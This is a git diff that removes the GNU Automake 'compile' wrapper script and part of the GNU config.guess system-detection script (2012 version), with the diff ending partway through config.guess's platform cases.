-# Copyright (C) 1999, 2000, 2003, 2004, 2005, 2009, 2010, 2012 Free
-# Software Foundation, Inc.
-# Written by Tom Tromey <tromey@cygnus.com>.
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2, or (at your option)
-# any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-
-# As a special exception to the GNU General Public License, if you
-# distribute this file as part of a program that contains a
-# configuration script generated by Autoconf, you may include it under
-# the same distribution terms that you use for the rest of that program.
-
-# This file is maintained in Automake, please report
-# bugs to <bug-automake@gnu.org> or send patches to
-# <automake-patches@gnu.org>.
-
-nl='
-'
-
-# We need space, tab and new line, in precisely that order. Quoting is
-# there to prevent tools from complaining about whitespace usage.
-IFS=" "" $nl"
-
-file_conv=
-
-# func_file_conv build_file lazy
-# Convert a $build file to $host form and store it in $file
-# Currently only supports Windows hosts. If the determined conversion
-# type is listed in (the comma separated) LAZY, no conversion will
-# take place.
-func_file_conv ()
-{
- file=$1
- case $file in
- / | /[!/]*) # absolute file, and not a UNC file
- if test -z "$file_conv"; then
- # lazily determine how to convert abs files
- case `uname -s` in
- MINGW*)
- file_conv=mingw
- ;;
- CYGWIN*)
- file_conv=cygwin
- ;;
- *)
- file_conv=wine
- ;;
- esac
- fi
- case $file_conv/,$2, in
- *,$file_conv,*)
- ;;
- mingw/*)
- file=`cmd //C echo "$file " | sed -e 's/"\(.*\) " *$/\1/'`
- ;;
- cygwin/*)
- file=`cygpath -m "$file" || echo "$file"`
- ;;
- wine/*)
- file=`winepath -w "$file" || echo "$file"`
- ;;
- esac
- ;;
- esac
-}
-
-# func_cl_dashL linkdir
-# Make cl look for libraries in LINKDIR
-func_cl_dashL ()
-{
- func_file_conv "$1"
- if test -z "$lib_path"; then
- lib_path=$file
- else
- lib_path="$lib_path;$file"
- fi
- linker_opts="$linker_opts -LIBPATH:$file"
-}
-
-# func_cl_dashl library
-# Do a library search-path lookup for cl
-func_cl_dashl ()
-{
- lib=$1
- found=no
- save_IFS=$IFS
- IFS=';'
- for dir in $lib_path $LIB
- do
- IFS=$save_IFS
- if $shared && test -f "$dir/$lib.dll.lib"; then
- found=yes
- lib=$dir/$lib.dll.lib
- break
- fi
- if test -f "$dir/$lib.lib"; then
- found=yes
- lib=$dir/$lib.lib
- break
- fi
- done
- IFS=$save_IFS
-
- if test "$found" != yes; then
- lib=$lib.lib
- fi
-}
-
-# func_cl_wrapper cl arg...
-# Adjust compile command to suit cl
-func_cl_wrapper ()
-{
- # Assume a capable shell
- lib_path=
- shared=:
- linker_opts=
- for arg
- do
- if test -n "$eat"; then
- eat=
- else
- case $1 in
- -o)
- # configure might choose to run compile as 'compile cc -o foo foo.c'.
- eat=1
- case $2 in
- *.o | *.[oO][bB][jJ])
- func_file_conv "$2"
- set x "$@" -Fo"$file"
- shift
- ;;
- *)
- func_file_conv "$2"
- set x "$@" -Fe"$file"
- shift
- ;;
- esac
- ;;
- -I)
- eat=1
- func_file_conv "$2" mingw
- set x "$@" -I"$file"
- shift
- ;;
- -I*)
- func_file_conv "${1#-I}" mingw
- set x "$@" -I"$file"
- shift
- ;;
- -l)
- eat=1
- func_cl_dashl "$2"
- set x "$@" "$lib"
- shift
- ;;
- -l*)
- func_cl_dashl "${1#-l}"
- set x "$@" "$lib"
- shift
- ;;
- -L)
- eat=1
- func_cl_dashL "$2"
- ;;
- -L*)
- func_cl_dashL "${1#-L}"
- ;;
- -static)
- shared=false
- ;;
- -Wl,*)
- arg=${1#-Wl,}
- save_ifs="$IFS"; IFS=','
- for flag in $arg; do
- IFS="$save_ifs"
- linker_opts="$linker_opts $flag"
- done
- IFS="$save_ifs"
- ;;
- -Xlinker)
- eat=1
- linker_opts="$linker_opts $2"
- ;;
- -*)
- set x "$@" "$1"
- shift
- ;;
- *.cc | *.CC | *.cxx | *.CXX | *.[cC]++)
- func_file_conv "$1"
- set x "$@" -Tp"$file"
- shift
- ;;
- *.c | *.cpp | *.CPP | *.lib | *.LIB | *.Lib | *.OBJ | *.obj | *.[oO])
- func_file_conv "$1" mingw
- set x "$@" "$file"
- shift
- ;;
- *)
- set x "$@" "$1"
- shift
- ;;
- esac
- fi
- shift
- done
- if test -n "$linker_opts"; then
- linker_opts="-link$linker_opts"
- fi
- exec "$@" $linker_opts
- exit 1
-}
-
-eat=
-
-case $1 in
- '')
- echo "$0: No command. Try '$0 --help' for more information." 1>&2
- exit 1;
- ;;
- -h | --h*)
- cat <<\EOF
-Usage: compile [--help] [--version] PROGRAM [ARGS]
-
-Wrapper for compilers which do not understand '-c -o'.
-Remove '-o dest.o' from ARGS, run PROGRAM with the remaining
-arguments, and rename the output as expected.
-
-If you are trying to build a whole package this is not the
-right script to run: please start by reading the file 'INSTALL'.
-
-Report bugs to <bug-automake@gnu.org>.
-EOF
- exit $?
- ;;
- -v | --v*)
- echo "compile $scriptversion"
- exit $?
- ;;
- cl | *[/\\]cl | cl.exe | *[/\\]cl.exe )
- func_cl_wrapper "$@" # Doesn't return...
- ;;
-esac
-
-ofile=
-cfile=
-
-for arg
-do
- if test -n "$eat"; then
- eat=
- else
- case $1 in
- -o)
- # configure might choose to run compile as 'compile cc -o foo foo.c'.
- # So we strip '-o arg' only if arg is an object.
- eat=1
- case $2 in
- *.o | *.obj)
- ofile=$2
- ;;
- *)
- set x "$@" -o "$2"
- shift
- ;;
- esac
- ;;
- *.c)
- cfile=$1
- set x "$@" "$1"
- shift
- ;;
- *)
- set x "$@" "$1"
- shift
- ;;
- esac
- fi
- shift
-done
-
-if test -z "$ofile" || test -z "$cfile"; then
- # If no '-o' option was seen then we might have been invoked from a
- # pattern rule where we don't need one. That is ok -- this is a
- # normal compilation that the losing compiler can handle. If no
- # '.c' file was seen then we are probably linking. That is also
- # ok.
- exec "$@"
-fi
-
-# Name of file we expect compiler to create.
-cofile=`echo "$cfile" | sed 's|^.*[\\/]||; s|^[a-zA-Z]:||; s/\.c$/.o/'`
-
-# Create the lock directory.
-# Note: use '[/\\:.-]' here to ensure that we don't use the same name
-# that we are using for the .o file. Also, base the name on the expected
-# object file name, since that is what matters with a parallel build.
-lockdir=`echo "$cofile" | sed -e 's|[/\\:.-]|_|g'`.d
-while true; do
- if mkdir "$lockdir" >/dev/null 2>&1; then
- break
- fi
- sleep 1
-done
-# FIXME: race condition here if user kills between mkdir and trap.
-trap "rmdir '$lockdir'; exit 1" 1 2 15
-
-# Run the compile.
-"$@"
-ret=$?
-
-if test -f "$cofile"; then
- test "$cofile" = "$ofile" || mv "$cofile" "$ofile"
-elif test -f "${cofile}bj"; then
- test "${cofile}bj" = "$ofile" || mv "${cofile}bj" "$ofile"
-fi
-
-rmdir "$lockdir"
-exit $ret
-
-# Local Variables:
-# mode: shell-script
-# sh-indentation: 2
-# eval: (add-hook 'write-file-hooks 'time-stamp)
-# time-stamp-start: "scriptversion="
-# time-stamp-format: "%:y-%02m-%02d.%02H"
-# time-stamp-time-zone: "UTC"
-# time-stamp-end: "; # UTC"
-# End:
diff --git a/config.guess b/config.guess
deleted file mode 100755
index d622a44..0000000
--- a/config.guess
+++ /dev/null
@@ -1,1530 +0,0 @@
-#! /bin/sh
-# Attempt to guess a canonical system name.
-# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999,
-# 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010,
-# 2011, 2012 Free Software Foundation, Inc.
-
-timestamp='2012-02-10'
-
-# This file is free software; you can redistribute it and/or modify it
-# under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, see <http://www.gnu.org/licenses/>.
-#
-# As a special exception to the GNU General Public License, if you
-# distribute this file as part of a program that contains a
-# configuration script generated by Autoconf, you may include it under
-# the same distribution terms that you use for the rest of that program.
-
-
-# Originally written by Per Bothner. Please send patches (context
-# diff format) to <config-patches@gnu.org> and include a ChangeLog
-# entry.
-#
-# This script attempts to guess a canonical system name similar to
-# config.sub. If it succeeds, it prints the system name on stdout, and
-# exits with 0. Otherwise, it exits with 1.
-#
-# You can get the latest version of this script from:
-# http://git.savannah.gnu.org/gitweb/?p=config.git;a=blob_plain;f=config.guess;hb=HEAD
-
-me=`echo "$0" | sed -e 's,.*/,,'`
-
-usage="\
-Usage: $0 [OPTION]
-
-Output the configuration name of the system \`$me' is run on.
-
-Operation modes:
- -h, --help print this help, then exit
- -t, --time-stamp print date of last modification, then exit
- -v, --version print version number, then exit
-
-Report bugs and patches to <config-patches@gnu.org>."
-
-version="\
-GNU config.guess ($timestamp)
-
-Originally written by Per Bothner.
-Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000,
-2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012
-Free Software Foundation, Inc.
-
-This is free software; see the source for copying conditions. There is NO
-warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE."
-
-help="
-Try \`$me --help' for more information."
-
-# Parse command line
-while test $# -gt 0 ; do
- case $1 in
- --time-stamp | --time* | -t )
- echo "$timestamp" ; exit ;;
- --version | -v )
- echo "$version" ; exit ;;
- --help | --h* | -h )
- echo "$usage"; exit ;;
- -- ) # Stop option processing
- shift; break ;;
- - ) # Use stdin as input.
- break ;;
- -* )
- echo "$me: invalid option $1$help" >&2
- exit 1 ;;
- * )
- break ;;
- esac
-done
-
-if test $# != 0; then
- echo "$me: too many arguments$help" >&2
- exit 1
-fi
-
-trap 'exit 1' 1 2 15
-
-# CC_FOR_BUILD -- compiler used by this script. Note that the use of a
-# compiler to aid in system detection is discouraged as it requires
-# temporary files to be created and, as you can see below, it is a
-# headache to deal with in a portable fashion.
-
-# Historically, `CC_FOR_BUILD' used to be named `HOST_CC'. We still
-# use `HOST_CC' if defined, but it is deprecated.
-
-# Portable tmp directory creation inspired by the Autoconf team.
-
-set_cc_for_build='
-trap "exitcode=\$?; (rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null) && exit \$exitcode" 0 ;
-trap "rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null; exit 1" 1 2 13 15 ;
-: ${TMPDIR=/tmp} ;
- { tmp=`(umask 077 && mktemp -d "$TMPDIR/cgXXXXXX") 2>/dev/null` && test -n "$tmp" && test -d "$tmp" ; } ||
- { test -n "$RANDOM" && tmp=$TMPDIR/cg$$-$RANDOM && (umask 077 && mkdir $tmp) ; } ||
- { tmp=$TMPDIR/cg-$$ && (umask 077 && mkdir $tmp) && echo "Warning: creating insecure temp directory" >&2 ; } ||
- { echo "$me: cannot create a temporary directory in $TMPDIR" >&2 ; exit 1 ; } ;
-dummy=$tmp/dummy ;
-tmpfiles="$dummy.c $dummy.o $dummy.rel $dummy" ;
-case $CC_FOR_BUILD,$HOST_CC,$CC in
- ,,) echo "int x;" > $dummy.c ;
- for c in cc gcc c89 c99 ; do
- if ($c -c -o $dummy.o $dummy.c) >/dev/null 2>&1 ; then
- CC_FOR_BUILD="$c"; break ;
- fi ;
- done ;
- if test x"$CC_FOR_BUILD" = x ; then
- CC_FOR_BUILD=no_compiler_found ;
- fi
- ;;
- ,,*) CC_FOR_BUILD=$CC ;;
- ,*,*) CC_FOR_BUILD=$HOST_CC ;;
-esac ; set_cc_for_build= ;'
-
-# This is needed to find uname on a Pyramid OSx when run in the BSD universe.
-# (ghazi@noc.rutgers.edu 1994-08-24)
-if (test -f /.attbin/uname) >/dev/null 2>&1 ; then
- PATH=$PATH:/.attbin ; export PATH
-fi
-
-UNAME_MACHINE=`(uname -m) 2>/dev/null` || UNAME_MACHINE=unknown
-UNAME_RELEASE=`(uname -r) 2>/dev/null` || UNAME_RELEASE=unknown
-UNAME_SYSTEM=`(uname -s) 2>/dev/null` || UNAME_SYSTEM=unknown
-UNAME_VERSION=`(uname -v) 2>/dev/null` || UNAME_VERSION=unknown
-
-# Note: order is significant - the case branches are not exclusive.
-
-case "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" in
- *:NetBSD:*:*)
- # NetBSD (nbsd) targets should (where applicable) match one or
- # more of the tuples: *-*-netbsdelf*, *-*-netbsdaout*,
- # *-*-netbsdecoff* and *-*-netbsd*. For targets that recently
- # switched to ELF, *-*-netbsd* would select the old
- # object file format. This provides both forward
- # compatibility and a consistent mechanism for selecting the
- # object file format.
- #
- # Note: NetBSD doesn't particularly care about the vendor
- # portion of the name. We always set it to "unknown".
- sysctl="sysctl -n hw.machine_arch"
- UNAME_MACHINE_ARCH=`(/sbin/$sysctl 2>/dev/null || \
- /usr/sbin/$sysctl 2>/dev/null || echo unknown)`
- case "${UNAME_MACHINE_ARCH}" in
- armeb) machine=armeb-unknown ;;
- arm*) machine=arm-unknown ;;
- sh3el) machine=shl-unknown ;;
- sh3eb) machine=sh-unknown ;;
- sh5el) machine=sh5le-unknown ;;
- *) machine=${UNAME_MACHINE_ARCH}-unknown ;;
- esac
- # The Operating System including object format, if it has switched
- # to ELF recently, or will in the future.
- case "${UNAME_MACHINE_ARCH}" in
- arm*|i386|m68k|ns32k|sh3*|sparc|vax)
- eval $set_cc_for_build
- if echo __ELF__ | $CC_FOR_BUILD -E - 2>/dev/null \
- | grep -q __ELF__
- then
- # Once all utilities can be ECOFF (netbsdecoff) or a.out (netbsdaout).
- # Return netbsd for either. FIX?
- os=netbsd
- else
- os=netbsdelf
- fi
- ;;
- *)
- os=netbsd
- ;;
- esac
- # The OS release
- # Debian GNU/NetBSD machines have a different userland, and
- # thus, need a distinct triplet. However, they do not need
- # kernel version information, so it can be replaced with a
- # suitable tag, in the style of linux-gnu.
- case "${UNAME_VERSION}" in
- Debian*)
- release='-gnu'
- ;;
- *)
- release=`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'`
- ;;
- esac
- # Since CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM:
- # contains redundant information, the shorter form:
- # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM is used.
- echo "${machine}-${os}${release}"
- exit ;;
- *:OpenBSD:*:*)
- UNAME_MACHINE_ARCH=`arch | sed 's/OpenBSD.//'`
- echo ${UNAME_MACHINE_ARCH}-unknown-openbsd${UNAME_RELEASE}
- exit ;;
- *:ekkoBSD:*:*)
- echo ${UNAME_MACHINE}-unknown-ekkobsd${UNAME_RELEASE}
- exit ;;
- *:SolidBSD:*:*)
- echo ${UNAME_MACHINE}-unknown-solidbsd${UNAME_RELEASE}
- exit ;;
- macppc:MirBSD:*:*)
- echo powerpc-unknown-mirbsd${UNAME_RELEASE}
- exit ;;
- *:MirBSD:*:*)
- echo ${UNAME_MACHINE}-unknown-mirbsd${UNAME_RELEASE}
- exit ;;
- alpha:OSF1:*:*)
- case $UNAME_RELEASE in
- *4.0)
- UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $3}'`
- ;;
- *5.*)
- UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $4}'`
- ;;
- esac
- # According to Compaq, /usr/sbin/psrinfo has been available on
- # OSF/1 and Tru64 systems produced since 1995. I hope that
- # covers most systems running today. This code pipes the CPU
- # types through head -n 1, so we only detect the type of CPU 0.
- ALPHA_CPU_TYPE=`/usr/sbin/psrinfo -v | sed -n -e 's/^ The alpha \(.*\) processor.*$/\1/p' | head -n 1`
- case "$ALPHA_CPU_TYPE" in
- "EV4 (21064)")
- UNAME_MACHINE="alpha" ;;
- "EV4.5 (21064)")
- UNAME_MACHINE="alpha" ;;
- "LCA4 (21066/21068)")
- UNAME_MACHINE="alpha" ;;
- "EV5 (21164)")
- UNAME_MACHINE="alphaev5" ;;
- "EV5.6 (21164A)")
- UNAME_MACHINE="alphaev56" ;;
- "EV5.6 (21164PC)")
- UNAME_MACHINE="alphapca56" ;;
- "EV5.7 (21164PC)")
- UNAME_MACHINE="alphapca57" ;;
- "EV6 (21264)")
- UNAME_MACHINE="alphaev6" ;;
- "EV6.7 (21264A)")
- UNAME_MACHINE="alphaev67" ;;
- "EV6.8CB (21264C)")
- UNAME_MACHINE="alphaev68" ;;
- "EV6.8AL (21264B)")
- UNAME_MACHINE="alphaev68" ;;
- "EV6.8CX (21264D)")
- UNAME_MACHINE="alphaev68" ;;
- "EV6.9A (21264/EV69A)")
- UNAME_MACHINE="alphaev69" ;;
- "EV7 (21364)")
- UNAME_MACHINE="alphaev7" ;;
- "EV7.9 (21364A)")
- UNAME_MACHINE="alphaev79" ;;
- esac
- # A Pn.n version is a patched version.
- # A Vn.n version is a released version.
- # A Tn.n version is a released field test version.
- # A Xn.n version is an unreleased experimental baselevel.
- # 1.2 uses "1.2" for uname -r.
- echo ${UNAME_MACHINE}-dec-osf`echo ${UNAME_RELEASE} | sed -e 's/^[PVTX]//' | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'`
- # Reset EXIT trap before exiting to avoid spurious non-zero exit code.
- exitcode=$?
- trap '' 0
- exit $exitcode ;;
- Alpha\ *:Windows_NT*:*)
- # How do we know it's Interix rather than the generic POSIX subsystem?
- # Should we change UNAME_MACHINE based on the output of uname instead
- # of the specific Alpha model?
- echo alpha-pc-interix
- exit ;;
- 21064:Windows_NT:50:3)
- echo alpha-dec-winnt3.5
- exit ;;
- Amiga*:UNIX_System_V:4.0:*)
- echo m68k-unknown-sysv4
- exit ;;
- *:[Aa]miga[Oo][Ss]:*:*)
- echo ${UNAME_MACHINE}-unknown-amigaos
- exit ;;
- *:[Mm]orph[Oo][Ss]:*:*)
- echo ${UNAME_MACHINE}-unknown-morphos
- exit ;;
- *:OS/390:*:*)
- echo i370-ibm-openedition
- exit ;;
- *:z/VM:*:*)
- echo s390-ibm-zvmoe
- exit ;;
- *:OS400:*:*)
- echo powerpc-ibm-os400
- exit ;;
- arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*)
- echo arm-acorn-riscix${UNAME_RELEASE}
- exit ;;
- arm:riscos:*:*|arm:RISCOS:*:*)
- echo arm-unknown-riscos
- exit ;;
- SR2?01:HI-UX/MPP:*:* | SR8000:HI-UX/MPP:*:*)
- echo hppa1.1-hitachi-hiuxmpp
- exit ;;
- Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | MIS*:SMP_DC-OSx*:*:*)
- # akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE.
- if test "`(/bin/universe) 2>/dev/null`" = att ; then
- echo pyramid-pyramid-sysv3
- else
- echo pyramid-pyramid-bsd
- fi
- exit ;;
- NILE*:*:*:dcosx)
- echo pyramid-pyramid-svr4
- exit ;;
- DRS?6000:unix:4.0:6*)
- echo sparc-icl-nx6
- exit ;;
- DRS?6000:UNIX_SV:4.2*:7* | DRS?6000:isis:4.2*:7*)
- case `/usr/bin/uname -p` in
- sparc) echo sparc-icl-nx7; exit ;;
- esac ;;
- s390x:SunOS:*:*)
- echo ${UNAME_MACHINE}-ibm-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
- exit ;;
- sun4H:SunOS:5.*:*)
- echo sparc-hal-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
- exit ;;
- sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*)
- echo sparc-sun-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
- exit ;;
- i86pc:AuroraUX:5.*:* | i86xen:AuroraUX:5.*:*)
- echo i386-pc-auroraux${UNAME_RELEASE}
- exit ;;
- i86pc:SunOS:5.*:* | i86xen:SunOS:5.*:*)
- eval $set_cc_for_build
- SUN_ARCH="i386"
- # If there is a compiler, see if it is configured for 64-bit objects.
- # Note that the Sun cc does not turn __LP64__ into 1 like gcc does.
- # This test works for both compilers.
- if [ "$CC_FOR_BUILD" != 'no_compiler_found' ]; then
- if (echo '#ifdef __amd64'; echo IS_64BIT_ARCH; echo '#endif') | \
- (CCOPTS= $CC_FOR_BUILD -E - 2>/dev/null) | \
- grep IS_64BIT_ARCH >/dev/null
- then
- SUN_ARCH="x86_64"
- fi
- fi
- echo ${SUN_ARCH}-pc-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
- exit ;;
- sun4*:SunOS:6*:*)
- # According to config.sub, this is the proper way to canonicalize
- # SunOS6. Hard to guess exactly what SunOS6 will be like, but
- # it's likely to be more like Solaris than SunOS4.
- echo sparc-sun-solaris3`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
- exit ;;
- sun4*:SunOS:*:*)
- case "`/usr/bin/arch -k`" in
- Series*|S4*)
- UNAME_RELEASE=`uname -v`
- ;;
- esac
- # Japanese Language versions have a version number like `4.1.3-JL'.
- echo sparc-sun-sunos`echo ${UNAME_RELEASE}|sed -e 's/-/_/'`
- exit ;;
- sun3*:SunOS:*:*)
- echo m68k-sun-sunos${UNAME_RELEASE}
- exit ;;
- sun*:*:4.2BSD:*)
- UNAME_RELEASE=`(sed 1q /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null`
- test "x${UNAME_RELEASE}" = "x" && UNAME_RELEASE=3
- case "`/bin/arch`" in
- sun3)
- echo m68k-sun-sunos${UNAME_RELEASE}
- ;;
- sun4)
- echo sparc-sun-sunos${UNAME_RELEASE}
- ;;
- esac
- exit ;;
- aushp:SunOS:*:*)
- echo sparc-auspex-sunos${UNAME_RELEASE}
- exit ;;
- # The situation for MiNT is a little confusing. The machine name
- # can be virtually everything (everything which is not
- # "atarist" or "atariste" at least should have a processor
- # > m68000). The system name ranges from "MiNT" over "FreeMiNT"
- # to the lowercase version "mint" (or "freemint"). Finally
- # the system name "TOS" denotes a system which is actually not
- # MiNT. But MiNT is downward compatible to TOS, so this should
- # be no problem.
- atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*)
- echo m68k-atari-mint${UNAME_RELEASE}
- exit ;;
- atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*)
- echo m68k-atari-mint${UNAME_RELEASE}
- exit ;;
- *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*)
- echo m68k-atari-mint${UNAME_RELEASE}
- exit ;;
- milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*)
- echo m68k-milan-mint${UNAME_RELEASE}
- exit ;;
- hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*)
- echo m68k-hades-mint${UNAME_RELEASE}
- exit ;;
- *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*)
- echo m68k-unknown-mint${UNAME_RELEASE}
- exit ;;
- m68k:machten:*:*)
- echo m68k-apple-machten${UNAME_RELEASE}
- exit ;;
- powerpc:machten:*:*)
- echo powerpc-apple-machten${UNAME_RELEASE}
- exit ;;
- RISC*:Mach:*:*)
- echo mips-dec-mach_bsd4.3
- exit ;;
- RISC*:ULTRIX:*:*)
- echo mips-dec-ultrix${UNAME_RELEASE}
- exit ;;
- VAX*:ULTRIX*:*:*)
- echo vax-dec-ultrix${UNAME_RELEASE}
- exit ;;
- 2020:CLIX:*:* | 2430:CLIX:*:*)
- echo clipper-intergraph-clix${UNAME_RELEASE}
- exit ;;
- mips:*:*:UMIPS | mips:*:*:RISCos)
- eval $set_cc_for_build
- sed 's/^ //' << EOF >$dummy.c
-#ifdef __cplusplus
-#include <stdio.h> /* for printf() prototype */
- int main (int argc, char *argv[]) {
-#else
- int main (argc, argv) int argc; char *argv[]; {
-#endif
- #if defined (host_mips) && defined (MIPSEB)
- #if defined (SYSTYPE_SYSV)
- printf ("mips-mips-riscos%ssysv\n", argv[1]); exit (0);
- #endif
- #if defined (SYSTYPE_SVR4)
- printf ("mips-mips-riscos%ssvr4\n", argv[1]); exit (0);
- #endif
- #if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD)
- printf ("mips-mips-riscos%sbsd\n", argv[1]); exit (0);
- #endif
- #endif
- exit (-1);
- }
-EOF
- $CC_FOR_BUILD -o $dummy $dummy.c &&
- dummyarg=`echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'` &&
- SYSTEM_NAME=`$dummy $dummyarg` &&
- { echo "$SYSTEM_NAME"; exit; }
- echo mips-mips-riscos${UNAME_RELEASE}
- exit ;;
- Motorola:PowerMAX_OS:*:*)
- echo powerpc-motorola-powermax
- exit ;;
- Motorola:*:4.3:PL8-*)
- echo powerpc-harris-powermax
- exit ;;
- Night_Hawk:*:*:PowerMAX_OS | Synergy:PowerMAX_OS:*:*)
- echo powerpc-harris-powermax
- exit ;;
- Night_Hawk:Power_UNIX:*:*)
- echo powerpc-harris-powerunix
- exit ;;
- m88k:CX/UX:7*:*)
- echo m88k-harris-cxux7
- exit ;;
- m88k:*:4*:R4*)
- echo m88k-motorola-sysv4
- exit ;;
- m88k:*:3*:R3*)
- echo m88k-motorola-sysv3
- exit ;;
- AViiON:dgux:*:*)
- # DG/UX returns AViiON for all architectures
- UNAME_PROCESSOR=`/usr/bin/uname -p`
- if [ $UNAME_PROCESSOR = mc88100 ] || [ $UNAME_PROCESSOR = mc88110 ]
- then
- if [ ${TARGET_BINARY_INTERFACE}x = m88kdguxelfx ] || \
- [ ${TARGET_BINARY_INTERFACE}x = x ]
- then
- echo m88k-dg-dgux${UNAME_RELEASE}
- else
- echo m88k-dg-dguxbcs${UNAME_RELEASE}
- fi
- else
- echo i586-dg-dgux${UNAME_RELEASE}
- fi
- exit ;;
- M88*:DolphinOS:*:*) # DolphinOS (SVR3)
- echo m88k-dolphin-sysv3
- exit ;;
- M88*:*:R3*:*)
- # Delta 88k system running SVR3
- echo m88k-motorola-sysv3
- exit ;;
- XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3)
- echo m88k-tektronix-sysv3
- exit ;;
- Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD)
- echo m68k-tektronix-bsd
- exit ;;
- *:IRIX*:*:*)
- echo mips-sgi-irix`echo ${UNAME_RELEASE}|sed -e 's/-/_/g'`
- exit ;;
- ????????:AIX?:[12].1:2) # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX.
- echo romp-ibm-aix # uname -m gives an 8 hex-code CPU id
- exit ;; # Note that: echo "'`uname -s`'" gives 'AIX '
- i*86:AIX:*:*)
- echo i386-ibm-aix
- exit ;;
- ia64:AIX:*:*)
- if [ -x /usr/bin/oslevel ] ; then
- IBM_REV=`/usr/bin/oslevel`
- else
- IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE}
- fi
- echo ${UNAME_MACHINE}-ibm-aix${IBM_REV}
- exit ;;
- *:AIX:2:3)
- if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then
- eval $set_cc_for_build
- sed 's/^ //' << EOF >$dummy.c
- #include <sys/systemcfg.h>
-
- main()
- {
- if (!__power_pc())
- exit(1);
- puts("powerpc-ibm-aix3.2.5");
- exit(0);
- }
-EOF
- if $CC_FOR_BUILD -o $dummy $dummy.c && SYSTEM_NAME=`$dummy`
- then
- echo "$SYSTEM_NAME"
- else
- echo rs6000-ibm-aix3.2.5
- fi
- elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then
- echo rs6000-ibm-aix3.2.4
- else
- echo rs6000-ibm-aix3.2
- fi
- exit ;;
- *:AIX:*:[4567])
- IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | sed 1q | awk '{ print $1 }'`
- if /usr/sbin/lsattr -El ${IBM_CPU_ID} | grep ' POWER' >/dev/null 2>&1; then
- IBM_ARCH=rs6000
- else
- IBM_ARCH=powerpc
- fi
- if [ -x /usr/bin/oslevel ] ; then
- IBM_REV=`/usr/bin/oslevel`
- else
- IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE}
- fi
- echo ${IBM_ARCH}-ibm-aix${IBM_REV}
- exit ;;
- *:AIX:*:*)
- echo rs6000-ibm-aix
- exit ;;
- ibmrt:4.4BSD:*|romp-ibm:BSD:*)
- echo romp-ibm-bsd4.4
- exit ;;
- ibmrt:*BSD:*|romp-ibm:BSD:*) # covers RT/PC BSD and
- echo romp-ibm-bsd${UNAME_RELEASE} # 4.3 with uname added to
- exit ;; # report: romp-ibm BSD 4.3
- *:BOSX:*:*)
- echo rs6000-bull-bosx
- exit ;;
- DPX/2?00:B.O.S.:*:*)
- echo m68k-bull-sysv3
- exit ;;
- 9000/[34]??:4.3bsd:1.*:*)
- echo m68k-hp-bsd
- exit ;;
- hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*)
- echo m68k-hp-bsd4.4
- exit ;;
- 9000/[34678]??:HP-UX:*:*)
- HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'`
- case "${UNAME_MACHINE}" in
- 9000/31? ) HP_ARCH=m68000 ;;
- 9000/[34]?? ) HP_ARCH=m68k ;;
- 9000/[678][0-9][0-9])
- if [ -x /usr/bin/getconf ]; then
- sc_cpu_version=`/usr/bin/getconf SC_CPU_VERSION 2>/dev/null`
- sc_kernel_bits=`/usr/bin/getconf SC_KERNEL_BITS 2>/dev/null`
- case "${sc_cpu_version}" in
